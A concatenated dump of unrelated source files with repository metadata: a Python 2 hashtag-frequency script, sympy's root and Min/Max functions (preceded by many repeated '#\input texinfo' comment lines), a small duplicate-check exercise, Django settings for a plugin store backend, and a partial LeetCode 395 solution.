hashtagFile = file(toolDirPath + "hashTagFile", "w")
hashtagByTFFile = file(toolDirPath + "hashTagTFFile", "w")
hashtagByDFFile = file(toolDirPath + "hashTagDFFile", "w")
hashTagHashAppHash = {}
tweetTagHash = {}
for item in sorted(fileList):
if item.find("segged") != 0:
continue
tStr = item[len(item)-2:len(item)]
print "Time window: " + tStr
tweetSocialFeatureFilePath = toolDirPath + "tweetSocialFeature" + tStr
tweSFHash = loadsocialfeature(tweetSocialFeatureFilePath)
tagHash = dict([(tid, tweSFHash[tid]["Tag"]) for tid in tweSFHash if len(tweSFHash[tid]["Tag"]) > 1])
tweetTagHash.update(tagHash)
print "### " + str(time.asctime()) + " " + str(len(tagHash)) + " tweets contain hashtags"
tweSFHash.clear()
for tid in tagHash:
tagStr = tagHash[tid]
tagArr = tagStr.split(" ")
for tag in tagArr:
illegelLetter = False
for letter in tag:
encodeNum = ord(letter)
if (encodeNum < 32) | (encodeNum > 126):
illegelLetter = True
break
# if re.match("[a-zA-Z0-9]", letter):
# puncOnly = False
if illegelLetter: #contain illegel letter
continue
apphash = {}
if tag in hashTagHashAppHash:
apphash = hashTagHashAppHash[tag]
if tid in apphash:
apphash[tid] += 1
else:
apphash[tid] = 1
hashTagHashAppHash[tag] = apphash
# print tag + " " + str(apphash)
print "### " + str(len(hashTagHashAppHash)) + " hashtags are loaded already."
print "### " + str(time.asctime()) + " " + str(len(hashTagHashAppHash)) + " hashtag are loaded."
print "### " + str(time.asctime()) + " " + str(len(tweetTagHash)) + " tweets contain hashtags."
cPickle.dump(hashTagHashAppHash, hashtagfreqFile)
hashtagList = hashTagHashAppHash.keys()
sortedByTF = {}
sortedByDF = {}
tagLenHash = {}
for tag in sorted(hashtagList):
apphash = hashTagHashAppHash[tag]
df = len(apphash)
tf = sum(apphash.values())
sortedByTF[tag] = tf
sortedByDF[tag] = df
hashtagFile.write(tag + "\t" + str(tf) + "\t" + str(df) + "\n")
tagLen = len(tag)
if tagLen in tagLenHash:
tagLenHash[tagLen] += 1
else:
tagLenHash[tagLen] = 1
print "### " + str(sum(tagLenHash.values())) + " hash tags, length distribution: "
print sorted(tagLenHash.items(), key = lambda a:a[1], reverse = True)
for tagItem in sorted(sortedByTF.items(), key = lambda a:a[1], reverse = True):
tag = tagItem[0]
tf = tagItem[1]
df = sortedByDF[tag]
hashtagByTFFile.write(tag + "\t" + str(tf) + "\t" + str(df) + "\n")
for tagItem in sorted(sortedByDF.items(), key = lambda a:a[1], reverse = True):
tag = tagItem[0]
df = tagItem[1]
tf = sortedByTF[tag]
hashtagByDFFile.write(tag + "\t" + str(tf) + "\t" + str(df) + "\n")
hashtagFile.close()
hashtagByTFFile.close()
hashtagByDFFile.close()
hashtagfreqFile.close()
print "### " + str(time.asctime()) + " hashtag statistics (alpha order) are stored into " + hashtagFile.name
print "### " + str(time.asctime()) + " hashtag statistics (tf) are stored into " + hashtagByTFFile.name
print "### " + str(time.asctime()) + " hashtag statistics (df) are stored into " + hashtagByDFFile.name
print "### " + str(time.asctime()) + " hashtag statistics (dump) are stored into " + hashtagfreqFile.name
############################
## main Function
print "###program starts at " + str(time.asctime())
dataFilePath = r"../Data_hfmon/segged_ltwe/"
toolDirPath = r"../Tools/"
statisticHashtag(dataFilePath, toolDirPath)
print "###program ends at " + str(time.asctime())
| [
"qolina@gmail.com"
] | qolina@gmail.com |
7efa918f1bb495b80442d7de7a5651b98bfc7627 | 6437a3a4a31ab9ad233d6b2d985beb50ed50de23 | /PythonistaAppTemplate/PythonistaKit.framework/pylib_ext/sympy/functions/elementary/miscellaneous.py | 9f57f5abdd1fb7364e12d77da04ab50572d84e26 | [] | no_license | sreyemnayr/jss-lost-mode-app | 03ddc472decde3c17a11294d8ee48b02f83b71e7 | 3ff4ba6fb13f4f3a4a98bfc824eace137f6aabaa | refs/heads/master | 2021-05-02T08:50:10.580091 | 2018-02-08T20:32:29 | 2018-02-08T20:32:29 | 120,813,623 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,913 | py | #\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
#\input texinfo
from __future__ import print_function, division
from sympy.core import S, C, sympify
from sympy.core.add import Add
from sympy.core.basic import Basic
from sympy.core.containers import Tuple
from sympy.core.numbers import Rational
from sympy.core.operations import LatticeOp, ShortCircuit
from sympy.core.function import Application, Lambda, ArgumentIndexError
from sympy.core.expr import Expr
from sympy.core.singleton import Singleton
from sympy.core.rules import Transform
from sympy.core.compatibility import as_int, with_metaclass, xrange
from sympy.core.logic import fuzzy_and
class IdentityFunction(with_metaclass(Singleton, Lambda)):
"""
The identity function
Examples
========
>>> from sympy import Id, Symbol
>>> x = Symbol('x')
>>> Id(x)
x
"""
__slots__ = []
nargs = 1
def __new__(cls):
x = C.Dummy('x')
#construct "by hand" to avoid infinite loop
return Expr.__new__(cls, Tuple(x), x)
Id = S.IdentityFunction
###############################################################################
############################# ROOT and SQUARE ROOT FUNCTION ###################
###############################################################################
def sqrt(arg):
"""The square root function
sqrt(x) -> Returns the principal square root of x.
Examples
========
>>> from sympy import sqrt, Symbol
>>> x = Symbol('x')
>>> sqrt(x)
sqrt(x)
>>> sqrt(x)**2
x
Note that sqrt(x**2) does not simplify to x.
>>> sqrt(x**2)
sqrt(x**2)
This is because the two are not equal to each other in general.
For example, consider x == -1:
>>> from sympy import Eq
>>> Eq(sqrt(x**2), x).subs(x, -1)
False
This is because sqrt computes the principal square root, so the square may
put the argument in a different branch. This identity does hold if x is
positive:
>>> y = Symbol('y', positive=True)
>>> sqrt(y**2)
y
You can force this simplification by using the powdenest() function with
the force option set to True:
>>> from sympy import powdenest
>>> sqrt(x**2)
sqrt(x**2)
>>> powdenest(sqrt(x**2), force=True)
x
To get both branches of the square root you can use the RootOf function:
>>> from sympy import RootOf
>>> [ RootOf(x**2-3,i) for i in (0,1) ]
[-sqrt(3), sqrt(3)]
See Also
========
sympy.polys.rootoftools.RootOf, root, real_root
References
==========
* http://en.wikipedia.org/wiki/Square_root
* http://en.wikipedia.org/wiki/Principal_value
"""
# arg = sympify(arg) is handled by Pow
return C.Pow(arg, S.Half)
def cbrt(arg):
"""This function computes the principial cube root of `arg`, so
it's just a shortcut for `arg**Rational(1, 3)`.
Examples
========
>>> from sympy import cbrt, Symbol
>>> x = Symbol('x')
>>> cbrt(x)
x**(1/3)
>>> cbrt(x)**3
x
Note that cbrt(x**3) does not simplify to x.
>>> cbrt(x**3)
(x**3)**(1/3)
This is because the two are not equal to each other in general.
For example, consider `x == -1`:
>>> from sympy import Eq
>>> Eq(cbrt(x**3), x).subs(x, -1)
False
This is because cbrt computes the principal cube root, this
identity does hold if `x` is positive:
>>> y = Symbol('y', positive=True)
>>> cbrt(y**3)
y
See Also
========
sympy.polys.rootoftools.RootOf, root, real_root
References
==========
* http://en.wikipedia.org/wiki/Cube_root
* http://en.wikipedia.org/wiki/Principal_value
"""
return C.Pow(arg, C.Rational(1, 3))
def root(arg, n):
"""The n-th root function (a shortcut for ``arg**(1/n)``)
root(x, n) -> Returns the principal n-th root of x.
Examples
========
>>> from sympy import root, Rational
>>> from sympy.abc import x, n
>>> root(x, 2)
sqrt(x)
>>> root(x, 3)
x**(1/3)
>>> root(x, n)
x**(1/n)
>>> root(x, -Rational(2, 3))
x**(-3/2)
To get all n n-th roots you can use the RootOf function.
The following examples show the roots of unity for n
equal 2, 3 and 4:
>>> from sympy import RootOf, I
>>> [ RootOf(x**2-1,i) for i in (0,1) ]
[-1, 1]
>>> [ RootOf(x**3-1,i) for i in (0,1,2) ]
[1, -1/2 - sqrt(3)*I/2, -1/2 + sqrt(3)*I/2]
>>> [ RootOf(x**4-1,i) for i in (0,1,2,3) ]
[-1, 1, -I, I]
SymPy, like other symbolic algebra systems, returns the
complex root of negative numbers. This is the principal
root and differs from the text-book result that one might
be expecting. For example, the cube root of -8 does not
come back as -2:
>>> root(-8, 3)
2*(-1)**(1/3)
The real_root function can be used to either make such a result
real or simply return the real root in the first place:
>>> from sympy import real_root
>>> real_root(_)
-2
>>> real_root(-32, 5)
-2
See Also
========
sympy.polys.rootoftools.RootOf
sympy.core.power.integer_nthroot
sqrt, real_root
References
==========
* http://en.wikipedia.org/wiki/Square_root
* http://en.wikipedia.org/wiki/real_root
* http://en.wikipedia.org/wiki/Root_of_unity
* http://en.wikipedia.org/wiki/Principal_value
* http://mathworld.wolfram.com/CubeRoot.html
"""
n = sympify(n)
return C.Pow(arg, 1/n)
def real_root(arg, n=None):
"""Return the real nth-root of arg if possible. If n is omitted then
all instances of -1**(1/odd) will be changed to -1.
Examples
========
>>> from sympy import root, real_root, Rational
>>> from sympy.abc import x, n
>>> real_root(-8, 3)
-2
>>> root(-8, 3)
2*(-1)**(1/3)
>>> real_root(_)
-2
See Also
========
sympy.polys.rootoftools.RootOf
sympy.core.power.integer_nthroot
root, sqrt
"""
if n is not None:
n = as_int(n)
rv = C.Pow(arg, Rational(1, n))
if n % 2 == 0:
return rv
else:
rv = sympify(arg)
n1pow = Transform(lambda x: S.NegativeOne,
lambda x:
x.is_Pow and
x.base is S.NegativeOne and
x.exp.is_Rational and
x.exp.p == 1 and x.exp.q % 2)
return rv.xreplace(n1pow)
###############################################################################
############################# MINIMUM and MAXIMUM #############################
###############################################################################
class MinMaxBase(Expr, LatticeOp):
def __new__(cls, *args, **assumptions):
if not args:
raise ValueError("The Max/Min functions must have arguments.")
args = (sympify(arg) for arg in args)
# first standard filter, for cls.zero and cls.identity
# also reshape Max(a, Max(b, c)) to Max(a, b, c)
try:
_args = frozenset(cls._new_args_filter(args))
except ShortCircuit:
return cls.zero
# second filter
# variant I: remove ones which can be removed
# args = cls._collapse_arguments(set(_args), **assumptions)
# variant II: find local zeros
args = cls._find_localzeros(set(_args), **assumptions)
_args = frozenset(args)
if not _args:
return cls.identity
elif len(_args) == 1:
return set(_args).pop()
else:
# base creation
obj = Expr.__new__(cls, _args, **assumptions)
obj._argset = _args
return obj
@classmethod
def _new_args_filter(cls, arg_sequence):
"""
Generator filtering args.
first standard filter, for cls.zero and cls.identity.
Also reshape Max(a, Max(b, c)) to Max(a, b, c),
and check arguments for comparability
"""
for arg in arg_sequence:
# pre-filter, checking comparability of arguments
if (arg.is_real is False) or (arg is S.ComplexInfinity):
raise ValueError("The argument '%s' is not comparable." % arg)
if arg == cls.zero:
raise ShortCircuit(arg)
elif arg == cls.identity:
continue
elif arg.func == cls:
for x in arg.iter_basic_args():
yield x
else:
yield arg
@classmethod
def _find_localzeros(cls, values, **options):
"""
Sequentially allocate values to localzeros.
When a value is identified as being more extreme than another member it
replaces that member; if this is never true, then the value is simply
appended to the localzeros.
"""
localzeros = set()
for v in values:
is_newzero = True
localzeros_ = list(localzeros)
for z in localzeros_:
if id(v) == id(z):
is_newzero = False
elif cls._is_connected(v, z):
is_newzero = False
if cls._is_asneeded(v, z):
localzeros.remove(z)
localzeros.update([v])
if is_newzero:
localzeros.update([v])
return localzeros
@classmethod
def _is_connected(cls, x, y):
"""
Check if x and y are connected somehow.
"""
if (x == y) or isinstance(x > y, bool) or isinstance(x < y, bool):
return True
if x.is_Number and y.is_Number:
return True
return False
@classmethod
def _is_asneeded(cls, x, y):
"""
Check if x and y satisfy relation condition.
The relation condition for Max function is x > y,
for Min function is x < y. They are defined in children Max and Min
classes through the method _rel(cls, x, y)
"""
if (x == y):
return False
if x.is_Number and y.is_Number:
if cls._rel(x, y):
return True
xy = cls._rel(x, y)
if isinstance(xy, bool):
if xy:
return True
return False
yx = cls._rel_inversed(x, y)
if isinstance(yx, bool):
if yx:
return False # never occurs?
return True
return False
def _eval_derivative(self, s):
# f(x).diff(s) -> x.diff(s) * f.fdiff(1)(s)
i = 0
l = []
for a in self.args:
i += 1
da = a.diff(s)
if da is S.Zero:
continue
try:
df = self.fdiff(i)
except ArgumentIndexError:
df = Function.fdiff(self, i)
l.append(df * da)
return Add(*l)
@property
def is_real(self):
return fuzzy_and(arg.is_real for arg in self.args)
class Max(MinMaxBase, Application):
"""
Return, if possible, the maximum value of the list.
When number of arguments is equal one, then
return this argument.
When number of arguments is equal two, then
return, if possible, the value from (a, b) that is >= the other.
In common case, when the length of list greater than 2, the task
is more complicated. Return only the arguments, which are greater
than others, if it is possible to determine directional relation.
If is not possible to determine such a relation, return a partially
evaluated result.
Assumptions are used to make the decision too.
Also, only comparable arguments are permitted.
Examples
========
>>> from sympy import Max, Symbol, oo
>>> from sympy.abc import x, y
>>> p = Symbol('p', positive=True)
>>> n = Symbol('n', negative=True)
>>> Max(x, -2) #doctest: +SKIP
Max(x, -2)
>>> Max(x, -2).subs(x, 3)
3
>>> Max(p, -2)
p
>>> Max(x, y) #doctest: +SKIP
Max(x, y)
>>> Max(x, y) == Max(y, x)
True
>>> Max(x, Max(y, z)) #doctest: +SKIP
Max(x, y, z)
>>> Max(n, 8, p, 7, -oo) #doctest: +SKIP
Max(8, p)
>>> Max (1, x, oo)
oo
Algorithm
The task can be considered as searching of supremums in the
directed complete partial orders [1]_.
The source values are sequentially allocated by the isolated subsets
in which supremums are searched and result as Max arguments.
If the resulted supremum is single, then it is returned.
The isolated subsets are the sets of values which are only the comparable
with each other in the current set. E.g. natural numbers are comparable with
each other, but not comparable with the `x` symbol. Another example: the
symbol `x` with negative assumption is comparable with a natural number.
Also there are "least" elements, which are comparable with all others,
and have a zero property (maximum or minimum for all elements). E.g. `oo`.
In case of it the allocation operation is terminated and only this value is
returned.
Assumption:
- if A > B > C then A > C
- if A==B then B can be removed
References
==========
.. [1] http://en.wikipedia.org/wiki/Directed_complete_partial_order
.. [2] http://en.wikipedia.org/wiki/Lattice_%28order%29
See Also
========
Min : find minimum values
"""
zero = S.Infinity
identity = S.NegativeInfinity
@classmethod
def _rel(cls, x, y):
"""
Check if x > y.
"""
return (x > y)
@classmethod
def _rel_inversed(cls, x, y):
"""
Check if x < y.
"""
return (x < y)
def fdiff( self, argindex ):
from sympy.functions.special.delta_functions import Heaviside
n = len(self.args)
if 0 < argindex and argindex <= n:
argindex -= 1
if n == 2:
return Heaviside( self.args[argindex] - self.args[1-argindex] )
newargs = tuple([self.args[i] for i in xrange(n) if i != argindex])
return Heaviside( self.args[argindex] - Max(*newargs) )
else:
raise ArgumentIndexError(self, argindex)
class Min(MinMaxBase, Application):
"""
Return, if possible, the minimum value of the list.
Examples
========
>>> from sympy import Min, Symbol, oo
>>> from sympy.abc import x, y
>>> p = Symbol('p', positive=True)
>>> n = Symbol('n', negative=True)
>>> Min(x, -2) #doctest: +SKIP
Min(x, -2)
>>> Min(x, -2).subs(x, 3)
-2
>>> Min(p, -3)
-3
>>> Min(x, y) #doctest: +SKIP
Min(x, y)
>>> Min(n, 8, p, -7, p, oo) #doctest: +SKIP
Min(n, -7)
See Also
========
Max : find maximum values
"""
zero = S.NegativeInfinity
identity = S.Infinity
@classmethod
def _rel(cls, x, y):
"""
Check if x < y.
"""
return (x < y)
@classmethod
def _rel_inversed(cls, x, y):
"""
Check if x > y.
"""
return (x > y)
def fdiff( self, argindex ):
from sympy.functions.special.delta_functions import Heaviside
n = len(self.args)
if 0 < argindex and argindex <= n:
argindex -= 1
if n == 2:
return Heaviside( self.args[1-argindex] - self.args[argindex] )
newargs = tuple([ self.args[i] for i in xrange(n) if i != argindex])
return Heaviside( Min(*newargs) - self.args[argindex] )
else:
raise ArgumentIndexError(self, argindex)
| [
"ryanmeyersweb@gmail.com"
] | ryanmeyersweb@gmail.com |
8e3884896f59a39e13d0286dd45828194ff0cc9f | c5746efe18a5406764c041d149d89c0e0564c5a5 | /1. Python语言核心编程/1. Python核心/Day07/exercise/exercise02.py | 32cc7fbbb5ffb79abbadf328b32b5dc4fe0f60f2 | [] | no_license | ShaoxiongYuan/PycharmProjects | fc7d9eeaf833d3711211cd2fafb81dd277d4e4a3 | 5111d4c0a7644c246f96e2d038c1a10b0648e4bf | refs/heads/master | 2021-12-15T05:45:42.117000 | 2021-11-23T06:45:16 | 2021-11-23T06:45:16 | 241,294,858 | 3 | 1 | null | 2021-02-20T15:29:07 | 2020-02-18T07:06:08 | Jupyter Notebook | UTF-8 | Python | false | false | 528 | py | def if_same_element(target_list):
"""
判断列表中是否有相同元素
:param target_list: 一个列表
:return: 是否有相同元素
"""
# result = False
for i in range(len(target_list) - 1):
for a in range(i + 1, len(target_list)):
if target_list[i] == target_list[a]:
return True
# result = True
# break
# if result:
# break
return False
list1 = [34, 8, 56, 9, 8, 9]
print(if_same_element(list1))
| [
"ysxstevenpp123@gmail.com"
] | ysxstevenpp123@gmail.com |
853c926761dfcdcbcd017ed1b743532f010314aa | 9e55f933b1228d50597b3ee723881674b8c25adf | /store_backend/config/settings/common.py | fd2c0b762d042217d8b942c8c0c2fb4bba89c152 | [
"MIT"
] | permissive | rudolphpienaar/ChRIS_store | e77abdcc892bb5066d697add5673f1c9e198fa4f | db924ded8e3323bc77b5eb974516df1d70cdd4d4 | refs/heads/master | 2020-03-06T21:41:59.060552 | 2019-11-14T02:43:31 | 2019-11-14T02:43:31 | 127,084,343 | 0 | 0 | null | 2018-03-28T04:37:25 | 2018-03-28T04:37:24 | null | UTF-8 | Python | false | false | 4,016 | py | # -*- coding: utf-8 -*-
"""
Django settings for chris_backend project.
Generated by 'django-admin startproject' using Django 1.9.5.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.9/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings
# See https://docs.djangoproject.com/en/1.9/howto/deployment/checklist/
ALLOWED_HOSTS = ['*']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'django_filters',
'mod_wsgi.server',
'rest_framework',
'rest_framework.authtoken',
'corsheaders',
'collectionjson',
'plugins',
'pipelines',
'users'
]
# Pagination
REST_FRAMEWORK = {
'PAGE_SIZE': 10,
'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',
'DEFAULT_RENDERER_CLASSES': (
'collectionjson.renderers.CollectionJsonRenderer',
'rest_framework.renderers.JSONRenderer',
'rest_framework.renderers.BrowsableAPIRenderer',
),
'DEFAULT_PARSER_CLASSES': (
'collectionjson.parsers.CollectionJsonParser',
'rest_framework.parsers.JSONParser',
'rest_framework.parsers.FormParser',
'rest_framework.parsers.MultiPartParser',
),
'DEFAULT_AUTHENTICATION_CLASSES': (
'rest_framework.authentication.TokenAuthentication',
'rest_framework.authentication.BasicAuthentication',
'rest_framework.authentication.SessionAuthentication',
),
'DEFAULT_FILTER_BACKENDS': (
'django_filters.rest_framework.DjangoFilterBackend',
)
}
MIDDLEWARE = [
'core.middleware.ResponseMiddleware',
'corsheaders.middleware.CorsMiddleware',
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'config.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'config.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.9/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
}
}
# Password validation
# https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.9/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'America/New_York'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.9/howto/static-files/
STATIC_URL = '/static/'
| [
"jbernal0019@yahoo.es"
] | jbernal0019@yahoo.es |
fefdc0b44aed4811b72cf261766d16d88f7f1353 | 1bd3076902117867ec048210905195ba2aaaaa6b | /exercise/leetcode/python_src/by2017_Sep/Leet395.py | b0a38ca7d29434c505c9378e24dcca7f581c9b1f | [] | no_license | SS4G/AlgorithmTraining | d75987929f1f86cd5735bc146e86b76c7747a1ab | 7a1c3aba65f338f6e11afd2864dabd2b26142b6c | refs/heads/master | 2021-01-17T20:54:31.120884 | 2020-06-03T15:04:10 | 2020-06-03T15:04:10 | 84,150,587 | 2 | 0 | null | 2017-10-19T11:50:38 | 2017-03-07T03:33:04 | Python | UTF-8 | Python | false | false | 1,068 | py | class Solution(object):
def longestSubstring(self, s, k):
"""
:type s: str
:type k: int
:rtype: int
"""
if len(s) == 0:
return 0
return self.divideRecursive(s, k)
def divideRecursive(self, s, k):
cntDict = {}
for i in s:
cntDict.setdefault(i, 0)
cntDict[i] += 1
badIdx = [-1, ]
flag = True
for idx in range(len(s)): # save the bad idx
if cntDict[s[idx]] < k:
badIdx.append(idx)
flag = False
if flag:
return len(s)
badIdx.append(len(s))
newStrs = []
